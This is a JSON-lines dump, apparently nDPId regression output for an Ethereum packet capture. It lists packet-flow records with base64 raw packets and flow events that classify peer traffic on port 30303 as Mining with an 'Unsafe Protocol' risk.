+01829{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":631547,"pkt_caplen":1099,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1099,"pkt_l4_len":1065,"pkt":"KDc3AG3IEBMx8Tl2CABFAAQ9McxAACoRfjA056VswKgBuHZfdl8EKSMV0Tk6zLZQqYdPasDvQYAfjhJ8qeDK0iQF1oC6v4BIFO8Ukv4XviQf8O74kSNp590utu+\/aRkEwwpxoabIrzvIzmTnyJlNpeyfgvNPwLIyg8I+w4LWPa4MA\/W2\/Jap8zB7AAT5A7z5A7T4TYQS26efgnZfgnZfuEAwkgYgUPIi4WiJg+QLzg9wGMhxPAR7azw\/xSKBAPOQbQlR3L69+mdeoxh\/qQi76RfNXeauKXl5ICJHofVK35cH+E2EUt2AH4J2YIJ2YLhAIbpA\/cDFhpXtS\/hixQb3nA9r93xmFVARyWt8mvD62Q42RXQv9d4buwnSPqvoZ8VPM1tV452Mu7b1nW6WCZP3H\/hNhJBbeIeCdl+Cdl+4QHDcQogYDcUZvsmo9wM3ftVwQss5t6Xz7SYpcIe0QCLsJRPOe\/7IMshT7rIUH59Wvzm2VWBMciyHxs11tRtvlg74TYSyPgragnZfgnZfuECktuxNZlsAPCNrxc8drmg5UZJYYlgJcgwixi3dHcHaL+SmxYYPit8ZDD0AQGDBI97zkdb5Vg5h5AMJ3ltOege3+E2Esj4dt4J2X4J2X7hAbSf3keqm\/kX1w8mhO8tfUrHPkpEON98Bfi90NSvh60PrPxJjJwxphJtd9yYNAp6bvKKmXex+Pf1jNZwIZzl1LfhNhA3mbCqCdl+Cdl+4QOL5cPG1naCZem66zt1KAC6uDCfFoxJhecyNkCxirh\/KFEuDlQVcZ87QmYypugLnAbyvaDrG2A\/fgNNcBVjcu7P4TYS524U+gnZfgnZfuEAvzWrhvDjoXJOa\/ZdCbLgHiFuGktYvbPu1Kx0QfSszMjCe5P4b3hECkMlBLQo90CRjw1UcL0V+qQHcUkhH7ixE+E2ErGlePoJ2X4J2X7hAXGqY3uhYXKqMbPC9rcGcCUaWh+Dhi0uXFAXOGFtMr99hmG7UDnrqzTA\/o5MeRw5C1b8eG9l8GAevaeYZyFb6JfhNhLaioT2Cdl+Cdl+4QIU96ApVNnmCgofL7UIVwC0ussPQFE9BZpIkW9NYXxtm+4r+lcBEpjNfLr4w84vJM4LIgefP7wW0fAmtWWHpBj34TYRZo5RJgnklgnkluED1tj7tRebZlvZCTgHMIT8H0RpJXJ6gH+sJFUxXqZs38C\/hpzENTsCSDh1o2HUHvKg2FabU7+4S+HyXXU68T+Xi+E2EM01tNoLk1oLk1rhAfag2FjkUzZm46\/aJuVMW3oNNsPORtJDs86feqI9xjoUJ09giSja9nrnxBmA4a19j\/wmY0SxfQ5ijGeyrdMEjJvhNhCPk+oyCdl+Cdl+4QD9WPrST\/PNOA12+8bgX6kV4hJFBTbV9EgAQ6hcCTUo0f0CQNtNTkrUkC7hmmUaZ\/d9jh6CLjUr6pActojR+FlyEXhYgYA=="} +00970{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":631563,"pkt_caplen":467,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":467,"pkt_l4_len":433,"pkt":"KDc3AG3IEBMx8Tl2CABFAAHFMc1AACoRgKc056VswKgBuHZfdl8BsY\/7AbVh3gWo8SfsvrDfXBEY37aMXJSMN0uUwOwpyu6B6jgWoyOOeaZfW8p8K7cC87fG39PLVlOFXQ3jYq9vtOfBDX6bH8L6Ud1+tJEwlS7mp2rbZA9sYf1hxy8FHTKGSTs\/AQT5AUT5ATz4TYSKyQxXgnZfgnZfuED5J7sOgSfNlVjTASmSDY7Fy7YY+BpFJY7pXwctWhMJTcOmMj122JoEqWmMFn5AxleLHeL+JqTFgSdcxQ2RnazX+E2EsAmI0YJ2X4J2X7hA9ktwuFCVbr2r\/BglRNLo78e9LIAJZ\/m+C+hWU0f89Bx2rrwMw00HbBQ0vUlGFoe1fvsEkUHUVQGEbKsMLaak+fhNhFBCUN2Cdl6Cdl64QKZAuhr8bhttB8APdDnL12FVc2oOf7Cmm\/Y3npKkXJW9Dwps8lIG5ynIfbmR5Jk+ofa3SNxvldAlmXVUluLeK3z4TYRV1mw0gnZfgnZfuEDCrBy3iaIRw9zhFQbbMZN19+v5HOsBbt3w+xt1mt5PoxBj5B0SHwdUTQM8H\/QXv\/y283eJhY+z4AISqPo+Z4tUhF4WIGA="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":83,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1578508364632,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"51.38.60.79","src_port":56629,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":632239,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGCOPAqAG4MyY8T901dl\/qiNMXAAAAALAC\/\/88YQAAAgQFtAEDAwUBAQgKItiUuAAAAAAEAgAA"} +00425{"flow_id":20,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":636266,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0sAZAADQGGBVZJmMiwKgBuHZf3TAEAfQWmn8I6YAQAOutFQAAAQEICl+aRBIi2JR+"} +00929{"flow_id":20,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":636299,"pkt_caplen":433,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":433,"pkt_l4_len":399,"pkt":"KDc3AG3IEBMx8Tl2CABFAAGjsAdAADQGFqVZJmMiwKgBuHZf3TAEAfQWmn8I6YAYAOuDtgAAAQEICl+aRBQi2JR+AW0EnJ5fzsMrXil5F8Nzp0mm1VxyUnRV4T1BIpSe7g\/E+N1+2lOs2frTyI+5SasLlRq0wjMhTCMALlCbFANK41nr2v4Z79x7xApLXqyuhIn7JVZKANCoIQgB5XzMFBS3\/9BwBFlShd95WOJ793tKi4K8LADeuSMgN\/pTabWcosjb3YZxWK+Lelc5YxLmfSxxFV9wWC7K6QvbU4KIrj5QFQAU5ACvFqXM4\/TthkOFXySYa1VxvNxosb+NXuTtu\/Fd9s44Tdg8r8LdTpzNdFab8G6yuG8\/5jbZ0Dd++JWkhXSwwcGUPRLHC9h1W+HzQIiqPE81khvY2cPK5ki4+\/OM9fouJhdymaaFoZa7urm3VDxCiasFi\/gMlYembXYGLrd9qaxggLy0jGI88Elgd1UOyRdOpdPm1a0rFZnwViGwedGd9B6RVOn2JNV8VgXBFHz+LBSpuyNETHRaxkFJOaNldk3X52Z9UGGF2WftC9d\/lg=="} +00425{"flow_id":20,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":636346,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGvBvAqAG4WSZjIt0wdl+afwjpBAH1hYAQECCcMQAAAQEICiLYlLxfmkQU"} +00472{"flow_id":20,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":636973,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"EBMx8Tl2KDc3AG3ICABFAABUAABAAEAGu\/vAqAG4WSZjIt0wdl+afwjpBAH1hYAYECCqQAAAAQEICiLYlLxfmkQUxcpHUka6Nv2S2Ufz6z\/PcyUNRbY0ZGIBN\/5tLIxxnq4="} +00429{"flow_id":20,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":636986,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA1AABAAEAGvBrAqAG4WSZjIt0wdl+afwkJBAH1hYAYECBUCAAAAQEICiLYlLxfmkQUSA=="} +00599{"flow_id":20,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":637056,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"EBMx8Tl2KDc3AG3ICABFAACwAABAAEAGu5\/AqAG4WSZjIt0wdl+afwkKBAH1hYAYECDynQAAAQEICiLYlLxfmkQU1vIQ4L6OVF1a9tr8H1ebgGF7lEJ02fLSz9VmzeJ5rrxs2wIgHwrg+JPKnxyBCTbuTymXDp4sYmvWiJSQTVOBRSWDsB\/mqaz+SwECNHF1O9oNYt3hZ3L+cxyXkjyKlMNN4xfN1Mr3mqbgIiMEx8YFuC1N4RZBLkygM5i1FA=="} +00431{"flow_id":20,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":637058,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA3AABAAEAGvBjAqAG4WSZjIt0wdl+afwmGBAH1hYAYECAV9QAAAQEICiLYlLxfmkQUiZP8"} +00452{"flow_id":20,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":637059,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEAABAAEAGvAvAqAG4WSZjIt0wdl+afwmJBAH1hYAYECCQoQAAAQEICiLYlLxfmkQUCiwuecniiz\/qObmRVIGEww=="} +00438{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":646518,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADIGQxWi86BTwKgBuHZf3SW77REO6nqus6AScSAW9gAAAgQFrAQCCAp1Z9P7ItiUTwEDAwc="} +00427{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":646622,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGNR3AqAG4ovOgU90ldl\/qeq6zu+0RD4AQECymNwAAAQEICiLYlMZ1Z9P7"} +01050{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":647922,"pkt_caplen":524,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":524,"pkt_l4_len":490,"pkt":"EBMx8Tl2KDc3AG3ICABFAAH+AABAAEAGM1PAqAG4ovOgU90ldl\/qeq6zu+0RD4AYECxhVgAAAQEICiLYlMd1Z9P7AcgERo6ealhQS2J+mLynCbY1Hy1VHiXXjBEF5aZwYGsb1SkyTi2BlJLR9jlm5o9Yd4cS3KEoVJoAklWjbSq92M\/MxJ5i\/czl+D12\/rOTJp4IahyydQsdmxoEz+gZK86QtII\/+oGTj+U6VBaWExPYNq+C5V6TyVuHtDJDL3Y5atSFV0vzcy50rbayLeR0ayU7X+skthxj17LZfPA8iwm2c0WQGrMZnTOZhZMrFs3qwxnotfISDwNhBYVpVFhbc8xQauW4yRaREul0OeSJjKTRqmwVmJi81T4w2q2ijNkQBElUV02KdBr8fSu0sAI3MZj7mpO0vMclcJzVexbpn6a8CFqneMX9Apb9+9fepGMwGi2Sd\/qVXR7MMB6XN2e01TGbAUdypeN4yE4FkNu0ytSmPuRSqOixZkDpRu9orcap45t0\/IY5QKnvZ4vGh7T9AxgZLVBMyYJQoDqPZmcYhAb0Uox6lV8OBTYagrByVt\/zHKwHf0wIQ3a1Tgn6QQRhkbselkN+OOVMLmPmzwgCPNNnMubc940pqhI+cDCqm\/aqRhGmY62LP3sI4ch0mQOjJP0GeE96z1UuxyRqXNxQ46lB5SewRzVYwD3TBZA="} +00562{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":104,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":4,"flow_first_seen":1578508364522,"flow_last_seen":1578508364647,"flow_tot_l4_data_len":606,"flow_min_l4_data_len":32,"flow_max_l4_data_len":490,"flow_avg_l4_data_len":151,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"162.243.160.83","src_port":56613,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +01834{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":649773,"pkt_caplen":1099,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1099,"pkt_l4_len":1065,"pkt":"KDc3AG3IEBMx8Tl2CABFAAQ9Do1AACcR\/\/USimxDwKgBuHZfdl8EKXURHZU493PpfyH72WrYTKC\/rHcqyoxdJnlAGqx0IUPpfCDPrp1RbMe2PXXL\/Y0gUgYBHgBKX+LNKEC1qdxuKnvxvXevxKSr69S3rpBsxtD9oPpZta4nmfTh\/aybl9dDX7mZAQT5A7z5A7T4TYTKcBxqgnZfgnZfuECGOOF\/DUGQRmRtLD+gVTFTpr29WNtAkV6+wzvS1j2\/a652c2Up+3+CFGHvVHTbjE15jtDjeTNqp85aDPL\/y+3R+E2E1YVu74J6R4J6R7hACdquySb8h9bDyyzBVqIC4RVjIfrd43xNEhVl26cR8q+zCkRbVR7YOVOrP+cqMugQfvn+wj\/y\/7lEeLvwq\/902PhNhIpLq76Cdl+Cdl+4QPw+TE9tCaxzvKUZLrSUydGaIDt2Km6jvC1h7Hg9CIqQESMae7r6mkOxEncigdCNSYhdj\/fphc\/puhfvJzVEsBH4TYSd5phXgnZfgnZfuEBkLPllDdiGnUJSXb9oWAEuO01k9HXnM4R6tvd0I0GkOXQUhl2VOHTo9e2RsOThxTPe4UrR1rsnalRZskcUYP8N+E2EuRnM0YJv8YJv8bhAWtd39T3gGPqV5\/kAxth9r0Z21IwC3OO8ijNQxmi2ggVwJqg2W08zX0qhgUwFTxRZ7CbZwhQtBb9MNGyCEZnVqfhNhDOhFwyCdl+Cdl+4QK0vqa8HM5bIAwN2G4EpFPUp1DIN0fK8JdET2pxyCxTou65T7kwDQcRwG9J87PVp8UWu5zbalyVDTlzNuCAazd\/4TYQ0CYBEgnZfgnZfuEDgMt94d8TQv+3IGK5MVBJ+471CdMGgEuFgADFs\/sfR77hApAbinmLOWlg0KBI76fx3iPiGmIjPc2DjV6Y5S+dt+E2EI+XoE4J2X4J2X7hAIvfQZKlYQVCc0QQPwdirlpv8ThVD2qtJQ\/hHeZ\/oRum3Dym8iOrz0uJZ5KMKMAHJAax\/7cDcr+ygJhYzzSAsNPhNhBLbp5+Cdl+Cdl+4QDCSBiBQ8iLhaImD5AvOD3AYyHE8BHtrPD\/FIoEA85BtCVHcvr36Z16jGH+pCLvpF81d5q4peXkgIkeh9Urflwf4TYR82eu0gnZfgnZfuEBXvLisck0JGnGrgRqWL\/bDyJ8qsCwpUwM0sk3OmDN\/PU2NXINnOwgDzonj2zUWAZS5\/UZawhYcs8O8n12+UDva+E2EXN5bw4Jv8YJv8bhAmWLd+VP5u1ibBrgKagKp3py+njifftSzD32rmGG+J3QgFhiB28tAr4XUS33ESEXzhatHLB80xoRt5yzzOLxbKvhNhCPEd72CeRmCeRm4QEsv12Yq4nMYX4LQY5r9d7BNkGpNa1KOs2Gd6C4u3NZleL+d2v4Anfsu4uoql9o1Ksl2BdYCVg1KygwMa9DuSGuEXhYgYA=="} +00972{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":650052,"pkt_caplen":467,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":467,"pkt_l4_len":433,"pkt":"KDc3AG3IEBMx8Tl2CABFAAHFDo5AACcRAm0SimxDwKgBuHZfdl8BsYIGz0wiJjKaUzFXr6IJm0KhJJHh14UxEkvPcQ\/Rk7Fgvbo\/feZhAIkP1PMVdfnmkT0ej4RbRZLeGs4r7KmIG\/NoSRob2DIRR9KSxxR5ApQK0GtL+DiOoUZ+LI2SWe0lCUL6AQT5AUT5ATz4TYSnR61sglIIglIIuEB7ukp3Oj6MzbNl3nDN0jQiNpC1V5v5rn9Rt7ZEw1VBzFla5k6rBHcylJhBRGAYzBX+17ncBsVtgVPJrKMh7nvV+E2EEop59oKMoIKMoLhASS3OSNDf3z8b3OyL7l\/Hx\/k821PEzINQHbZfniqNPVksrwSkp6jrG6UYCpQoXvgKZOetorWlposBzYkgatgcWfhNhDP\/TVmCdl2Cdl24QM3iC4E\/jtROh\/yrXbgvFZypcqA1E0NM1pmVBNhPzAEVOKwUDY19JR7HzoFwywH46oqp8Nqzrz5YKF3TzRCEzqb4TYS57vnMglLcglLcuECRN7VxzSUAEA2k0pdpV6OAanNBmMgqxX6AGOkM+qhp9apzS9PVbGdlMMSUUvnshxBsN5liOIkWGjzwRsyI7kXrhF4WIGA="} +01841{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":650675,"pkt_caplen":1099,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1099,"pkt_l4_len":1065,"pkt":"KDc3AG3IEBMx8Tl2CABFAAQ9MdRAACoRfig056VswKgBuHZfdl8EKRKyNhMNoVpKai\/zY6JtPK148+n8O0oeVuWetq0EUGeIZ+RtfSVG+aSj2EjmgE\/VzJtID8hcsMA0vo5I3RXPomPj3yUethvOHViNcPLofHHgt6Et2w\/V\/IZQwikbIBWnB9DTAQT5A7z5A7T4TYSAADOMgnZfgnZfuECzAedbnywh7LLXCkndomTntsSUpeaU+X6fjJnfrZQaB1R+H8I82rjSB7H8uOb2MmX2h8Eh6LA0rwKGlGg4GwHK+E2EItltD4JSCIJSCLhAV7xweLkhFnsF60oz420o\/7aRuvQDfeaR5dpY3JYLjsX+vIbrgixVpsHDBYr8HpBMbqyvQppwqy4HYepbXQ439vhNhLmcKfiCdl+Cdl+4QIpjJmS5Gps58YQUc3o0wkmgpBHEx1gDORbTV1rWIFwK7dVIOGdwy7ueFkd0ebURyFnWaX56rb2vwE00TcZVQc\/4TYRYYyPigm\/xgm\/xuECpd\/dXqwhUtMXwMPm+u9hAJuGJB0TlNeJH\/rhwYyfJLba1YjqffEkcEK\/elP06ULgIs+MSln0Dqh5H+5kYnNGk+E2EZc\/gMIKdZ4KdZ7hAeuBt+eVpr\/lD6zfG4rQPZ1zeBes7bOJwSykdL6ML2QKv452iWFBJMIYyvlNFnq\/\/C00h2CuZ\/anhkV9S20AZY\/hNhDTCDYuCdl+Cdl+4QLBhjnLjpcFxFmfKTcMgokq3D+uNpAukzphlJv9fJvmZpMDVt4vA7QCl\/tQeO6YywXwxPSo5mqDxT4Mhw84RQzb4TYREt8O8gnZfgnZfuEDIng59WZjTY84Fc4kJnGTPNYzt3nnlhEfJGfnOrlC6yoc7pGIyxRJAuIHlFFkehfT\/MZnQKZAPAlW4w64AegZe+E2EJox0OIJ2X4J2X7hAUcnvye\/EDV8yhpr44tuNjcH1iKn9VgwhEfiCj6tWu2I48UyT\/1NGoVARZK9OdquCOZ6CApHQbW+DYNgMbETGWvhNhANdcHOCdl+Cdl+4QD\/UX2IqmKGVR1qU9QsLqb3KjV3UDG2NojB8dIr7Jri2pn3jv\/+bXP6J9JPk1pIlWnrC4\/MFYoxS2N4EW\/3JczX4TYTOvRBhgnZfgnZfuEDSgII3zWEN0R4iExLhys3S9YgXOxu2LLtFpLUyUOie168aVDZZDdIBkFFi9sbcxATorv1KnwQmEOhtDobrFgpZ+E2E1YVu74J2X4J2X7hAOuWZ6O0wzMscIvV20fKJ6imvL0uabNom7Rtt3\/mq1Yc\/cUISC095aLfdfnNtvPxS8fkoG\/ogbmJFfhJwViVFH\/hNhC9cJiiCdnOCdnO4QGKt2+KrFMp40sLt\/0+vqoO+7cd+LGeqSI3nARXhQPO7oSmSUrCcwDSYZBC7QsBPfwF6JwXzHNJha7yydiKEG9+EXhYgYA=="} +00971{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":651426,"pkt_caplen":467,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":467,"pkt_l4_len":433,"pkt":"KDc3AG3IEBMx8Tl2CABFAAHFMdVAACoRgJ8056VswKgBuHZfdl8BsWtYNy\/hj5gk8D7Qb9lhdkjiXuUss1RO4UI6kATznWWyDqOMchQJpCnqSV674XgLJ5rYR9PaOEhT48beQDu03i7VZVNxX8nv2G6qMXRfP0\/h3IH3SU3lIC1bxcXTs3w00ZHeAQT5AUT5ATz4TYQi3xdYglIIglIIuEDVG9dFjWMC0aHQ4vqnlKYK0gcQOne9YNbF01KJqjowzmQZQVcpjdSvYUQ2oIynqEm3wQCNB+a8ozVymcPr6iYo+E2En1nK6YJ2YIJ2YLhANx7lUx+IU5K\/T0hlFB\/0kJV+5Mpc43wZst9aIXFLC3h2rT7jqKAorAWccnKDf3zh0thGd+rgV1dnqgKCM26ALPhNhFnd2oWCdmCCdmC4QFU0BpRJJdzLAqOeJ+LAjuBufhPi0BPM5VRHqi1HMHWSXj+rjd73LjnWjILlW20x3ZLEJfz2+7zut8KH8MBENo34TYRZKAXhgnZfgnZfuECPxq5\/\/aZwdoEnw4F66ja2vzoSmIIUuIfx7Q3gAQliMJDvmV1wYTJr3\/S152jKmk+KnQJu72UByI1G35q3AZ9bhF4WIGA="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":109,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1578508364654,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"128.0.51.140","src_port":30303,"dst_port":30303,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":654361,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"EBMx8Tl2KDc3AG3ICABFAADHl8oAAEARbG\/AqAG4gAAzjHZfdl8AswwF15lp9gBLtC6IaCW33is1Th50j8UHjOmT4mAffcZn+yYEl4jGBnLnkKaeXePCjndUh79\/WTQA2R4kNex3KmtFmldicE1yJNj24ZecPC4hxpTcI9qIeMXPlU0BU5Rec0LcAQP4R7hAggEUSZWpWZm0YK3HCqZiBR7sHJ3wp8USPzyX73HGoWVqts4UjRd8TfDxZuCIPe7jI\/CXMWJB7l7pTCCyfJvg8YReFiBg"} +00549{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":109,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1578508364654,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"128.0.51.140","src_port":30303,"dst_port":30303,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00427{"flow_id":23,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":655558,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0tVBAACcGoaMi\/xdxwKgBuHZf3TMrXBsHHvlGKYAQAOuT7wAAAQEICqcQh3si2JSV"} +00973{"flow_id":23,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":657661,"pkt_caplen":468,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":468,"pkt_l4_len":434,"pkt":"KDc3AG3IEBMx8Tl2CABFAAHGtVFAACcGoBAi\/xdxwKgBuHZf3TMrXBsHHvlGKYAYAOsCCwAAAQEICqcQh3wi2JSVAZAENpARAs4gLKabLp0D6Y3Nyp\/GQ9Kz6V06NMSPQOKv3s9Ejuvu0WkofnnoeHbu8ZeqAb3RapSJwXVNMkmZlJB7T5N8BMeBtnaSaRRVqYAB1mZYcujkK0QQ\/gjskze8v11lDscXXcxVmVKvoEBO2fdb15qhRf5yVLm+55brffXQVKwdLSoZKXhOX2lTtT\/cXJTctoLowqgfdEJqRaZjfdoozad0DBG5GDaLM8mlOshCHR9zCDEGPBfXOkHyDrgJz\/QzLxeX2qTwvvp4nNk5MZD7M9fxyO8Is+tDxSOgA5h02FSPo58jFXIjlCJ52F3cGJYjqyDCLJ7ocE42DZiwALTPlUhui69KIZO\/jGhXYvljZAr\/wIKDF+g6slDfzXufd+XlO7X6Z4pR7IcDGZd\/qJRB3udbzPsAABo+UqXwr8ujaGoqzr4KzhLqvRzgDLIbN3hwRJsT+nNmIX4FXoAPgVnMevSofHWKf8aQK8cWo4WGWVBHyJix3Cz83Bf8Ca2LbFuzYHy1c8enEjfCI1Xsb5iW"} 